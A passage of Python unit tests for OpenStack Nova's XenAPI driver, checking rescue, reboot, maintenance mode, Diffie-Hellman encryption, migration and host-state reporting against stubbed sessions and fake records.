"%s-rescue" % vm["name_label"] rescue_ref = vm_utils.lookup(session, rescue_name) rescue_vm = xenapi_fake.get_record('VM', rescue_ref) vdi_refs = {} for vbd_ref in rescue_vm['VBDs']: vbd = xenapi_fake.get_record('VBD', vbd_ref) vdi_refs[vbd['VDI']] = vbd['userdevice'] self.assertEqual('1', vdi_refs[root_vdi_ref]) self.assertEqual('2', vdi_refs[swap_vdi_ref]) self.assertEqual('4', vdi_refs[eph1_vdi_ref]) self.assertEqual('5', vdi_refs[eph2_vdi_ref]) self.assertNotIn(vol_vdi_ref, vdi_refs) def test_rescue_preserve_disk_on_failure(self): # test that the original disk is preserved if rescue setup fails # bug #1227898 instance = self._create_instance(obj=True) session = get_session() image_meta = objects.ImageMeta.from_dict( {'id': IMAGE_VHD, 'disk_format': 'vhd', 'properties': {'vm_mode': 'xen'}}) vm_ref = vm_utils.lookup(session, instance['name']) vdi_ref, vdi_rec = vm_utils.get_vdi_for_vm_safely(session, vm_ref) # raise an error in the spawn setup process and trigger the # undo manager logic: def fake_start(*args, **kwargs): raise test.TestingException('Start Error') self.stubs.Set(self.conn._vmops, '_start', fake_start) self.assertRaises(test.TestingException, self.conn.rescue, self.context, instance, [], image_meta, '') # confirm original disk still exists: vdi_ref2, vdi_rec2 = vm_utils.get_vdi_for_vm_safely(session, vm_ref) self.assertEqual(vdi_ref, vdi_ref2) self.assertEqual(vdi_rec['uuid'], vdi_rec2['uuid']) def test_unrescue(self): instance = self._create_instance(obj=True) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) # Unrescue expects the original instance to be powered off conn.power_off(instance) xenapi_fake.create_vm(instance['name'] + '-rescue', 'Running') conn.unrescue(instance, None) def test_unrescue_not_in_rescue(self): instance = self._create_instance(obj=True) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) # Ensure that it will not unrescue a non-rescued instance. self.assertRaises(exception.InstanceNotInRescueMode, conn.unrescue, instance, None) def test_finish_revert_migration(self): instance = self._create_instance() class VMOpsMock(object): def __init__(self): self.finish_revert_migration_called = False def finish_revert_migration(self, context, instance, block_info, power_on): self.finish_revert_migration_called = True conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) conn._vmops = VMOpsMock() conn.finish_revert_migration(self.context, instance, None) self.assertTrue(conn._vmops.finish_revert_migration_called) def test_reboot_hard(self): instance = self._create_instance() conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) conn.reboot(self.context, instance, None, "HARD") def test_poll_rebooting_instances(self): self.mox.StubOutWithMock(compute_api.API, 'reboot') compute_api.API.reboot(mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()) self.mox.ReplayAll() instance = self._create_instance() instances = [instance] conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) conn.poll_rebooting_instances(60, instances) def test_reboot_soft(self): instance = self._create_instance() conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) conn.reboot(self.context, instance, None, "SOFT") def test_reboot_halted(self): session = get_session() instance = self._create_instance(spawn=False) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) xenapi_fake.create_vm(instance['name'], 'Halted') conn.reboot(self.context, instance, None, "SOFT") vm_ref = vm_utils.lookup(session, instance['name']) vm = xenapi_fake.get_record('VM', vm_ref) self.assertEqual(vm['power_state'], 'Running') def test_reboot_unknown_state(self): instance = self._create_instance(spawn=False) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) xenapi_fake.create_vm(instance['name'], 'Unknown') self.assertRaises(xenapi_fake.Failure, conn.reboot, self.context, instance, None, "SOFT") def test_reboot_rescued(self): instance = self._create_instance() instance['vm_state'] = vm_states.RESCUED conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) real_result = vm_utils.lookup(conn._session, instance['name']) with mock.patch.object(vm_utils, 'lookup', return_value=real_result) as mock_lookup: conn.reboot(self.context, instance, None, "SOFT") mock_lookup.assert_called_once_with(conn._session, instance['name'], True) def test_get_console_output_succeeds(self): def fake_get_console_output(instance): self.assertEqual("instance", instance) return "console_log" self.stubs.Set(self.conn._vmops, 'get_console_output', fake_get_console_output) self.assertEqual(self.conn.get_console_output('context', "instance"), "console_log") def _test_maintenance_mode(self, find_host, find_aggregate): real_call_xenapi = self.conn._session.call_xenapi instance = self._create_instance(spawn=True) api_calls = {} # Record all the xenapi calls, and return a fake list of hosts # for the host.get_all call def fake_call_xenapi(method, *args): api_calls[method] = args if method == 'host.get_all': return ['foo', 'bar', 'baz'] return real_call_xenapi(method, *args) self.stubs.Set(self.conn._session, 'call_xenapi', fake_call_xenapi) def fake_aggregate_get(context, host, key): if find_aggregate: return [test_aggregate.fake_aggregate] else: return [] self.stub_out('nova.db.aggregate_get_by_host', fake_aggregate_get) def fake_host_find(context, session, src, dst): if find_host: return 'bar' else: raise exception.NoValidHost("I saw this one coming...") self.stubs.Set(host, '_host_find', fake_host_find) result = self.conn.host_maintenance_mode('bar', 'on_maintenance') self.assertEqual(result, 'on_maintenance') # We expect the VM.pool_migrate call to have been called to # migrate our instance to the 'bar' host vm_ref = vm_utils.lookup(self.conn._session, instance['name']) host_ref = "foo" expected = (vm_ref, host_ref, {"live": "true"}) self.assertEqual(api_calls.get('VM.pool_migrate'), expected) instance = db.instance_get_by_uuid(self.context, instance['uuid']) self.assertEqual(instance['vm_state'], vm_states.ACTIVE) self.assertEqual(instance['task_state'], task_states.MIGRATING) def test_maintenance_mode(self): self._test_maintenance_mode(True, True) def test_maintenance_mode_no_host(self): self.assertRaises(exception.NoValidHost, self._test_maintenance_mode, False, True) def test_maintenance_mode_no_aggregate(self): self.assertRaises(exception.NotFound, self._test_maintenance_mode, True, False) def test_uuid_find(self): self.mox.StubOutWithMock(db, 'instance_get_all_by_host') fake_inst = fake_instance.fake_db_instance(id=123) fake_inst2 = fake_instance.fake_db_instance(id=456) db.instance_get_all_by_host(self.context, fake_inst['host'], columns_to_join=None ).AndReturn([fake_inst, fake_inst2]) self.mox.ReplayAll() expected_name = CONF.instance_name_template % fake_inst['id'] inst_uuid = host._uuid_find(self.context, fake_inst['host'], expected_name) self.assertEqual(inst_uuid, fake_inst['uuid']) def test_session_virtapi(self): was = {'called': False} def fake_aggregate_get_by_host(self, *args, **kwargs): was['called'] = True raise test.TestingException() self.stub_out("nova.db.aggregate_get_by_host", fake_aggregate_get_by_host) self.stubs.Set(self.conn._session, "is_slave", True) self.assertRaises(test.TestingException, self.conn._session._get_host_uuid) self.assertTrue(was['called']) def test_session_handles_aggregate_metadata(self): def fake_aggregate_get(context, host, key): agg = copy.copy(test_aggregate.fake_aggregate) agg['metadetails'][CONF.host] = 'this_should_be_metadata' return [agg] self.stub_out('nova.db.aggregate_get_by_host', fake_aggregate_get) self.stubs.Set(self.conn._session, "is_slave", True) self.assertEqual('this_should_be_metadata', self.conn._session._get_host_uuid()) def test_per_instance_usage_running(self): instance = self._create_instance(spawn=True) flavor = objects.Flavor.get_by_id(self.context, 3) expected = {instance['uuid']: {'memory_mb': flavor['memory_mb'], 'uuid': instance['uuid']}} actual = self.conn.get_per_instance_usage() self.assertEqual(expected, actual) # Paused instances still consume resources: self.conn.pause(instance) actual = self.conn.get_per_instance_usage() self.assertEqual(expected, actual) def test_per_instance_usage_suspended(self): # Suspended instances do not consume memory: instance = self._create_instance(spawn=True) self.conn.suspend(self.context, instance) actual = self.conn.get_per_instance_usage() self.assertEqual({}, actual) def test_per_instance_usage_halted(self): instance = self._create_instance(spawn=True, obj=True) self.conn.power_off(instance) actual = self.conn.get_per_instance_usage() self.assertEqual({}, actual) def _create_instance(self, spawn=True, obj=False, **attrs): """Creates and spawns a test instance.""" instance_values = { 'uuid': str(uuid.uuid4()), 'display_name': 'host-', 'project_id': self.project_id, 'user_id': self.user_id, 'image_ref': IMAGE_MACHINE, 'kernel_id': IMAGE_KERNEL, 'ramdisk_id': IMAGE_RAMDISK, 'root_gb': 80, 'ephemeral_gb': 0, 'instance_type_id': '3', # m1.large 'os_type': 'linux', 'vm_mode': 'hvm', 'architecture': 'x86-64'} instance_values.update(attrs) instance = create_instance_with_system_metadata(self.context, instance_values) network_info = fake_network.fake_get_instance_nw_info(self) image_meta = objects.ImageMeta.from_dict( {'id': uuids.image_id, 'disk_format': 'vhd'}) if spawn: self.conn.spawn(self.context, instance, image_meta, [], 'herp', network_info) if obj: return instance return base.obj_to_primitive(instance) def test_destroy_clean_up_kernel_and_ramdisk(self): def fake_lookup_kernel_ramdisk(session, vm_ref): return "kernel", "ramdisk" self.stubs.Set(vm_utils, "lookup_kernel_ramdisk", fake_lookup_kernel_ramdisk) def fake_destroy_kernel_ramdisk(session, instance, kernel, ramdisk): fake_destroy_kernel_ramdisk.called = True self.assertEqual("kernel", kernel) self.assertEqual("ramdisk", ramdisk) fake_destroy_kernel_ramdisk.called = False self.stubs.Set(vm_utils, "destroy_kernel_ramdisk", fake_destroy_kernel_ramdisk) instance = self._create_instance(spawn=True, obj=True) network_info = fake_network.fake_get_instance_nw_info(self) self.conn.destroy(self.context, instance, network_info) vm_ref = vm_utils.lookup(self.conn._session, instance['name']) self.assertIsNone(vm_ref) self.assertTrue(fake_destroy_kernel_ramdisk.called) class XenAPIDiffieHellmanTestCase(test.NoDBTestCase): """Unit tests for Diffie-Hellman code.""" def setUp(self): super(XenAPIDiffieHellmanTestCase, self).setUp() self.alice = agent.SimpleDH() self.bob = agent.SimpleDH() def test_shared(self): alice_pub = self.alice.get_public() bob_pub = self.bob.get_public() alice_shared = self.alice.compute_shared(bob_pub) bob_shared = self.bob.compute_shared(alice_pub) self.assertEqual(alice_shared, bob_shared) def _test_encryption(self, message): enc = self.alice.encrypt(message) self.assertFalse(enc.endswith('\n')) dec = self.bob.decrypt(enc) self.assertEqual(dec, message) def test_encrypt_simple_message(self): self._test_encryption('This is a simple message.') def test_encrypt_message_with_newlines_at_end(self): self._test_encryption('This message has a newline at the end.\n') def test_encrypt_many_newlines_at_end(self): self._test_encryption('Message with lotsa newlines.\n\n\n') def test_encrypt_newlines_inside_message(self): self._test_encryption('Message\nwith\ninterior\nnewlines.') def test_encrypt_with_leading_newlines(self): self._test_encryption('\n\nMessage with leading newlines.') def test_encrypt_really_long_message(self): self._test_encryption(''.join(['abcd' for i in range(1024)])) # FIXME(sirp): convert this to use XenAPITestBaseNoDB class XenAPIMigrateInstance(stubs.XenAPITestBase): """Unit test for verifying migration-related actions.""" REQUIRES_LOCKING = True def setUp(self): super(XenAPIMigrateInstance, self).setUp() self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') self.flags(firewall_driver='nova.virt.xenapi.firewall.' 'Dom0IptablesFirewallDriver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) db_fakes.stub_out_db_instance_api(self) xenapi_fake.create_network('fake', 'fake_br1') self.user_id = 'fake' self.project_id = 'fake' self.context = context.RequestContext(self.user_id, self.project_id) self.instance_values = { 'project_id': self.project_id, 'user_id': self.user_id, 'image_ref': IMAGE_MACHINE, 'kernel_id': None, 'ramdisk_id': None, 'root_gb': 80, 'ephemeral_gb': 0, 'instance_type_id': '3', # m1.large 'os_type': 'linux', 'architecture': 'x86-64'} migration_values = { 'source_compute': 'nova-compute', 'dest_compute': 'nova-compute', 'dest_host': '10.127.5.114', 'status': 'post-migrating', 'instance_uuid': '15f23e6a-cc6e-4d22-b651-d9bdaac316f7', 'old_instance_type_id': 5, 'new_instance_type_id': 1 } self.migration = db.migration_create( context.get_admin_context(), migration_values) fake_processutils.stub_out_processutils_execute(self.stubs) stubs.stub_out_migration_methods(self.stubs) stubs.stubout_get_this_vm_uuid(self.stubs) def fake_inject_instance_metadata(self, instance, vm): pass self.stubs.Set(vmops.VMOps, '_inject_instance_metadata', fake_inject_instance_metadata) def fake_unpause_and_wait(self, vm_ref, instance, power_on): pass self.stubs.Set(vmops.VMOps, '_unpause_and_wait', fake_unpause_and_wait) def _create_instance(self, **kw): values = self.instance_values.copy() values.update(kw) instance = objects.Instance(context=self.context, **values) instance.flavor = objects.Flavor(root_gb=80, ephemeral_gb=0) instance.create() return instance def test_migrate_disk_and_power_off(self): instance = self._create_instance() xenapi_fake.create_vm(instance['name'], 'Running') flavor = fake_flavor.fake_flavor_obj(self.context, root_gb=80, ephemeral_gb=0) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vm_ref = vm_utils.lookup(conn._session, instance['name']) self.mox.StubOutWithMock(volume_utils, 'is_booted_from_volume') volume_utils.is_booted_from_volume(conn._session, vm_ref) self.mox.ReplayAll() conn.migrate_disk_and_power_off(self.context, instance, '127.0.0.1', flavor, None) def test_migrate_disk_and_power_off_passes_exceptions(self): instance = self._create_instance() xenapi_fake.create_vm(instance['name'], 'Running') flavor = fake_flavor.fake_flavor_obj(self.context, root_gb=80, ephemeral_gb=0) def fake_raise(*args, **kwargs): raise exception.MigrationError(reason='test failure') self.stubs.Set(vmops.VMOps, "_migrate_disk_resizing_up", fake_raise) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.MigrationError, conn.migrate_disk_and_power_off, self.context, instance, '127.0.0.1', flavor, None) def test_migrate_disk_and_power_off_throws_on_zero_gb_resize_down(self): instance = self._create_instance() flavor = fake_flavor.fake_flavor_obj(self.context, root_gb=0, ephemeral_gb=0) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.ResizeError, conn.migrate_disk_and_power_off, self.context, instance, 'fake_dest', flavor, None) def test_migrate_disk_and_power_off_with_zero_gb_old_and_new_works(self): flavor = fake_flavor.fake_flavor_obj(self.context, root_gb=0, ephemeral_gb=0) instance = self._create_instance(root_gb=0, ephemeral_gb=0) instance.flavor.root_gb = 0 instance.flavor.ephemeral_gb = 0 xenapi_fake.create_vm(instance['name'], 'Running') conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vm_ref = vm_utils.lookup(conn._session, instance['name']) self.mox.StubOutWithMock(volume_utils, 'is_booted_from_volume') volume_utils.is_booted_from_volume(conn._session, vm_ref) self.mox.ReplayAll() conn.migrate_disk_and_power_off(self.context, instance, '127.0.0.1', flavor, None) def _test_revert_migrate(self, power_on): instance = create_instance_with_system_metadata(self.context, self.instance_values) self.called = False self.fake_vm_start_called = False self.fake_finish_revert_migration_called = False context = 'fake_context' def fake_vm_start(*args, **kwargs): self.fake_vm_start_called = True def fake_vdi_resize(*args, **kwargs): self.called = True def fake_finish_revert_migration(*args, **kwargs): self.fake_finish_revert_migration_called = True self.stubs.Set(stubs.FakeSessionForVMTests, "VDI_resize_online", fake_vdi_resize) self.stubs.Set(vmops.VMOps, '_start', fake_vm_start) self.stubs.Set(vmops.VMOps, 'finish_revert_migration', fake_finish_revert_migration) stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests, product_version=(4, 0, 0), product_brand='XenServer') self.mox.StubOutWithMock(volume_utils, 'is_booted_from_volume') conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) network_info = fake_network.fake_get_instance_nw_info(self) image_meta = objects.ImageMeta.from_dict( {'id': instance['image_ref'], 'disk_format': 'vhd'}) base = xenapi_fake.create_vdi('hurr', 'fake') base_uuid = xenapi_fake.get_record('VDI', base)['uuid'] cow = xenapi_fake.create_vdi('durr', 'fake') cow_uuid = xenapi_fake.get_record('VDI', cow)['uuid'] conn.finish_migration(self.context, self.migration, instance, dict(base_copy=base_uuid, cow=cow_uuid), network_info, image_meta, resize_instance=True, block_device_info=None, power_on=power_on) self.assertTrue(self.called) self.assertEqual(self.fake_vm_start_called, power_on) conn.finish_revert_migration(context, instance, network_info) self.assertTrue(self.fake_finish_revert_migration_called) def test_revert_migrate_power_on(self): self._test_revert_migrate(True) def test_revert_migrate_power_off(self): self._test_revert_migrate(False) def _test_finish_migrate(self, power_on): instance = create_instance_with_system_metadata(self.context, self.instance_values) self.called = False self.fake_vm_start_called = False def fake_vm_start(*args, **kwargs): self.fake_vm_start_called = True def fake_vdi_resize(*args, **kwargs): self.called = True self.stubs.Set(vmops.VMOps, '_start', fake_vm_start) self.stubs.Set(stubs.FakeSessionForVMTests, "VDI_resize_online", fake_vdi_resize) stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests, product_version=(4, 0, 0), product_brand='XenServer') conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) network_info = fake_network.fake_get_instance_nw_info(self) image_meta = objects.ImageMeta.from_dict( {'id': instance['image_ref'], 'disk_format': 'vhd'}) conn.finish_migration(self.context, self.migration, instance, dict(base_copy='hurr', cow='durr'), network_info, image_meta, resize_instance=True, block_device_info=None, power_on=power_on) self.assertTrue(self.called) self.assertEqual(self.fake_vm_start_called, power_on) def test_finish_migrate_power_on(self): self._test_finish_migrate(True) def test_finish_migrate_power_off(self): self._test_finish_migrate(False) def test_finish_migrate_no_local_storage(self): values = copy.copy(self.instance_values) values["root_gb"] = 0 values["ephemeral_gb"] = 0 instance = create_instance_with_system_metadata(self.context, values) instance.flavor.root_gb = 0 instance.flavor.ephemeral_gb = 0 def fake_vdi_resize(*args, **kwargs): raise Exception("This shouldn't be called") self.stubs.Set(stubs.FakeSessionForVMTests, "VDI_resize_online", fake_vdi_resize) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) network_info = fake_network.fake_get_instance_nw_info(self) image_meta = objects.ImageMeta.from_dict( {'id': instance['image_ref'], 'disk_format': 'vhd'}) conn.finish_migration(self.context, self.migration, instance, dict(base_copy='hurr', cow='durr'), network_info, image_meta, resize_instance=True) def test_finish_migrate_no_resize_vdi(self): instance = create_instance_with_system_metadata(self.context, self.instance_values) def fake_vdi_resize(*args, **kwargs): raise Exception("This shouldn't be called") self.stubs.Set(stubs.FakeSessionForVMTests, "VDI_resize_online", fake_vdi_resize) conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) network_info = fake_network.fake_get_instance_nw_info(self) # Resize instance would be determined by the compute call image_meta = objects.ImageMeta.from_dict( {'id': instance['image_ref'], 'disk_format': 'vhd'}) conn.finish_migration(self.context, self.migration, instance, dict(base_copy='hurr', cow='durr'), network_info, image_meta, resize_instance=False) @stub_vm_utils_with_vdi_attached def test_migrate_too_many_partitions_no_resize_down(self): instance = self._create_instance() xenapi_fake.create_vm(instance['name'], 'Running') flavor = objects.Flavor.get_by_name(self.context, 'm1.small') conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) def fake_get_partitions(partition): return [(1, 2, 3, 4, "", ""), (1, 2, 3, 4, "", "")] self.stubs.Set(vm_utils, '_get_partitions', fake_get_partitions) self.mox.ReplayAll() self.assertRaises(exception.InstanceFaultRollback, conn.migrate_disk_and_power_off, self.context, instance, '127.0.0.1', flavor, None) @stub_vm_utils_with_vdi_attached def test_migrate_bad_fs_type_no_resize_down(self): instance = self._create_instance() xenapi_fake.create_vm(instance['name'], 'Running') flavor = objects.Flavor.get_by_name(self.context, 'm1.small') conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) def fake_get_partitions(partition): return [(1, 2, 3, "ext2", "", "boot")] self.stubs.Set(vm_utils, '_get_partitions', fake_get_partitions) self.mox.ReplayAll() self.assertRaises(exception.InstanceFaultRollback, conn.migrate_disk_and_power_off, self.context, instance, '127.0.0.1', flavor, None) def test_migrate_rollback_when_resize_down_fs_fails(self): conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vmops = conn._vmops self.mox.StubOutWithMock(vmops, '_resize_ensure_vm_is_shutdown') self.mox.StubOutWithMock(vmops, '_apply_orig_vm_name_label') self.mox.StubOutWithMock(vm_utils, 'resize_disk') self.mox.StubOutWithMock(vm_utils, 'migrate_vhd') self.mox.StubOutWithMock(vm_utils, 'destroy_vdi') self.mox.StubOutWithMock(vm_utils, 'get_vdi_for_vm_safely') self.mox.StubOutWithMock(vmops, '_restore_orig_vm_and_cleanup_orphan') instance = objects.Instance(context=self.context, auto_disk_config=True, uuid=uuids.instance) instance.obj_reset_changes() vm_ref = "vm_ref" dest = "dest" flavor = "type" sr_path = "sr_path" vmops._resize_ensure_vm_is_shutdown(instance, vm_ref) vmops._apply_orig_vm_name_label(instance, vm_ref) old_vdi_ref = "old_ref" vm_utils.get_vdi_for_vm_safely(vmops._session, vm_ref).AndReturn( (old_vdi_ref, None)) new_vdi_ref = "new_ref" new_vdi_uuid = "new_uuid" vm_utils.resize_disk(vmops._session, instance, old_vdi_ref, flavor).AndReturn((new_vdi_ref, new_vdi_uuid)) vm_utils.migrate_vhd(vmops._session, instance, new_vdi_uuid, dest, sr_path, 0).AndRaise( exception.ResizeError(reason="asdf")) vm_utils.destroy_vdi(vmops._session, new_vdi_ref) vmops._restore_orig_vm_and_cleanup_orphan(instance) self.mox.ReplayAll() with mock.patch.object(instance, 'save') as mock_save: self.assertRaises(exception.InstanceFaultRollback, vmops._migrate_disk_resizing_down, self.context, instance, dest, flavor, vm_ref, sr_path) self.assertEqual(3, mock_save.call_count) self.assertEqual(60.0, instance.progress) def test_resize_ensure_vm_is_shutdown_cleanly(self): conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vmops = conn._vmops fake_instance = {'uuid': 'uuid'} self.mox.StubOutWithMock(vm_utils, 'is_vm_shutdown') self.mox.StubOutWithMock(vm_utils, 'clean_shutdown_vm') self.mox.StubOutWithMock(vm_utils, 'hard_shutdown_vm') vm_utils.is_vm_shutdown(vmops._session, "ref").AndReturn(False) vm_utils.clean_shutdown_vm(vmops._session, fake_instance, "ref").AndReturn(True) self.mox.ReplayAll() vmops._resize_ensure_vm_is_shutdown(fake_instance, "ref") def test_resize_ensure_vm_is_shutdown_forced(self): conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vmops = conn._vmops fake_instance = {'uuid': 'uuid'} self.mox.StubOutWithMock(vm_utils, 'is_vm_shutdown') self.mox.StubOutWithMock(vm_utils, 'clean_shutdown_vm') self.mox.StubOutWithMock(vm_utils, 'hard_shutdown_vm') vm_utils.is_vm_shutdown(vmops._session, "ref").AndReturn(False) vm_utils.clean_shutdown_vm(vmops._session, fake_instance, "ref").AndReturn(False) vm_utils.hard_shutdown_vm(vmops._session, fake_instance, "ref").AndReturn(True) self.mox.ReplayAll() vmops._resize_ensure_vm_is_shutdown(fake_instance, "ref") def test_resize_ensure_vm_is_shutdown_fails(self): conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vmops = conn._vmops fake_instance = {'uuid': 'uuid'} self.mox.StubOutWithMock(vm_utils, 'is_vm_shutdown') self.mox.StubOutWithMock(vm_utils, 'clean_shutdown_vm') self.mox.StubOutWithMock(vm_utils, 'hard_shutdown_vm') vm_utils.is_vm_shutdown(vmops._session, "ref").AndReturn(False) vm_utils.clean_shutdown_vm(vmops._session, fake_instance, "ref").AndReturn(False) vm_utils.hard_shutdown_vm(vmops._session, fake_instance, "ref").AndReturn(False) self.mox.ReplayAll() self.assertRaises(exception.ResizeError, vmops._resize_ensure_vm_is_shutdown, fake_instance, "ref") def test_resize_ensure_vm_is_shutdown_already_shutdown(self): conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) vmops = conn._vmops fake_instance = {'uuid': 'uuid'} self.mox.StubOutWithMock(vm_utils, 'is_vm_shutdown') self.mox.StubOutWithMock(vm_utils, 'clean_shutdown_vm') self.mox.StubOutWithMock(vm_utils, 'hard_shutdown_vm') vm_utils.is_vm_shutdown(vmops._session, "ref").AndReturn(True) self.mox.ReplayAll() vmops._resize_ensure_vm_is_shutdown(fake_instance, "ref") class XenAPIImageTypeTestCase(test.NoDBTestCase): """Test ImageType class.""" def test_to_string(self): # Can convert from type id to type string. self.assertEqual( vm_utils.ImageType.to_string(vm_utils.ImageType.KERNEL), vm_utils.ImageType.KERNEL_STR) def _assert_role(self, expected_role, image_type_id): self.assertEqual( expected_role, vm_utils.ImageType.get_role(image_type_id)) def test_get_image_role_kernel(self): self._assert_role('kernel', vm_utils.ImageType.KERNEL) def test_get_image_role_ramdisk(self): self._assert_role('ramdisk', vm_utils.ImageType.RAMDISK) def test_get_image_role_disk(self): self._assert_role('root', vm_utils.ImageType.DISK) def test_get_image_role_disk_raw(self): self._assert_role('root', vm_utils.ImageType.DISK_RAW) def test_get_image_role_disk_vhd(self): self._assert_role('root', vm_utils.ImageType.DISK_VHD) class XenAPIDetermineDiskImageTestCase(test.NoDBTestCase): """Unit tests for code that detects the ImageType.""" def assert_disk_type(self, image_meta, expected_disk_type): actual = vm_utils.determine_disk_image_type(image_meta) self.assertEqual(expected_disk_type, actual) def test_machine(self): image_meta = objects.ImageMeta.from_dict( {'disk_format': 'ami'}) self.assert_disk_type(image_meta, vm_utils.ImageType.DISK) def test_raw(self): image_meta = objects.ImageMeta.from_dict( {'disk_format': 'raw'}) self.assert_disk_type(image_meta, vm_utils.ImageType.DISK_RAW) def test_vhd(self): image_meta = objects.ImageMeta.from_dict( {'disk_format': 'vhd'}) self.assert_disk_type(image_meta, vm_utils.ImageType.DISK_VHD) # FIXME(sirp): convert this to use XenAPITestBaseNoDB class XenAPIHostTestCase(stubs.XenAPITestBase): """Tests HostState, which holds metrics from XenServer that get reported back to the Schedulers. """ def setUp(self): super(XenAPIHostTestCase, self).setUp() self.flags(connection_url='test_url', connection_password='test_pass', group='xenserver') stubs.stubout_session(self.stubs, stubs.FakeSessionForVMTests) self.context = context.get_admin_context() self.flags(use_local=True, group='conductor') self.conn = xenapi_conn.XenAPIDriver(fake.FakeVirtAPI(), False) self.instance = fake_instance.fake_db_instance(name='foo') def test_host_state(self): stats = self.conn.host_state.get_host_stats(False) # Values from fake.create_local_srs (ext SR) self.assertEqual(stats['disk_total'], 40000) self.assertEqual(stats['disk_used'], 20000) # Values from fake._plugin_xenhost_host_data self.assertEqual(stats['host_memory_total'], 10) self.assertEqual(stats['host_memory_overhead'], 20) self.assertEqual(stats['host_memory_free'], 30) self.assertEqual(stats['host_memory_free_computed'], 40) self.assertEqual(stats['hypervisor_hostname'], 'fake-xenhost') self.assertEqual(stats['host_cpu_info']['cpu_count'], 4) self.assertThat({ 'vendor': 'GenuineIntel', 'model': 'Intel(R) Xeon(R) CPU X3430 @ 2.40GHz', 'topology': { 'sockets': 1, 'cores': 4, 'threads': 1, }, 'features': [ 'fpu', 'de', 'tsc', 'msr', 'pae', 'mce', 'cx8', 'apic', 'sep', 'mtrr', 'mca', 'cmov', 'pat', 'clflush', 'acpi', 'mmx', 'fxsr', 'sse', 'sse2', 'ss', 'ht', 'nx', 'constant_tsc', 'nonstop_tsc', 'aperfmperf', 'pni', 'vmx', 'est', 'ssse3', 'sse4_1', 'sse4_2', 'popcnt', 'hypervisor', 'ida', 'tpr_shadow', 'vnmi', 'flexpriority', 'ept', 'vpid', ]}, matchers.DictMatches(stats['cpu_model'])) # No VMs running self.assertEqual(stats['vcpus_used'], 0) def test_host_state_vcpus_used(self): stats = self.conn.host_state.get_host_stats(True) self.assertEqual(stats['vcpus_used'], 0) xenapi_fake.create_vm(self.instance['name'], 'Running') stats = self.conn.host_state.get_host_stats(True) self.assertEqual(stats['vcpus_used'], 4) def test_pci_passthrough_devices(self): stats = self.conn.host_state.get_host_stats(False) self.assertEqual(len(stats['pci_passthrough_devices']), 2) def test_host_state_missing_sr(self): # Must trigger construction of 'host_state' property # before introducing the stub which raises the error hs = self.conn.host_state def fake_safe_find_sr(session): raise exception.StorageRepositoryNotFound('not there') self.stubs.Set(vm_utils, 'safe_find_sr', fake_safe_find_sr) self.assertRaises(exception.StorageRepositoryNotFound, hs.get_host_stats, refresh=True) def _test_host_action(self, method, action, expected=None): result = method('host', action) if not expected: expected = action self.assertEqual(result, expected) def _test_host_action_no_param(self, method, action, expected=None): result = method(action) if not expected: expected = action self.assertEqual(result, expected) def test_host_reboot(self): self._test_host_action_no_param(self.conn.host_power_action, 'reboot') def test_host_shutdown(self): self._test_host_action_no_param(self.conn.host_power_action, 'shutdown') def test_host_startup(self): self.assertRaises(NotImplementedError, self.conn.host_power_action, 'startup') def test_host_maintenance_on(self): self._test_host_action(self.conn.host_maintenance_mode, True, 'on_maintenance') def test_host_maintenance_off(self): self._test_host_action(self.conn.host_maintenance_mode, False, 'off_maintenance') def test_set_enable_host_enable(self): _create_service_entries(self.context, values={'nova': ['fake-mini']}) self._test_host_action_no_param(self.conn.set_host_enabled, True, 'enabled') service = db.service_get_by_host_and_binary(self.context, 'fake-mini', 'nova-compute') self.assertFalse(service.disabled) def test_set_enable_host_disable(self): _create_service_entries(self.context, values={'nova': ['fake-mini']}) self._test_host_action_no_param(self.conn.set_host_enabled, False, 'disabled') service = db.service_get_by_host_and_binary(self.context, 'fake-mini', 'nova-compute') self.assertTrue(service.disabled) def test_get_host_uptime(self): result = self.conn.get_host_uptime() self.assertEqual(result, 'fake uptime') def test_supported_instances_is_included_in_host_state(self): stats = self.conn.host_state.get_host_stats(False) self.assertIn('supported_instances', stats) def test_supported_instances_is_calculated_by_to_supported_instances(self): def to_supported_instances(somedata): return "SOMERETURNVALUE" self.stubs.Set(host, 'to_supported_instances', to_supported_instances) stats = self.conn.host_state.get_host_stats(False) self.assertEqual("SOMERETURNVALUE", stats['supported_instances']) def test_update_stats_caches_hostname(self): self.mox.StubOutWithMock(host, 'call_xenhost') self.mox.StubOutWithMock(vm_utils, 'scan_default_sr') self.mox.StubOutWithMock(vm_utils, 'list_vms') self.mox.StubOutWithMock(self.conn._session, 'call_xenapi') data = {'disk_total': 0, 'disk_used': 0, 'disk_available': 0, 'supported_instances': 0, 'host_capabilities': [], 'host_hostname': 'foo', 'vcpus_used': 0, } sr_rec = { 'physical_size': 0, 'physical_utilisation': 0, 'virtual_allocation': 0, } 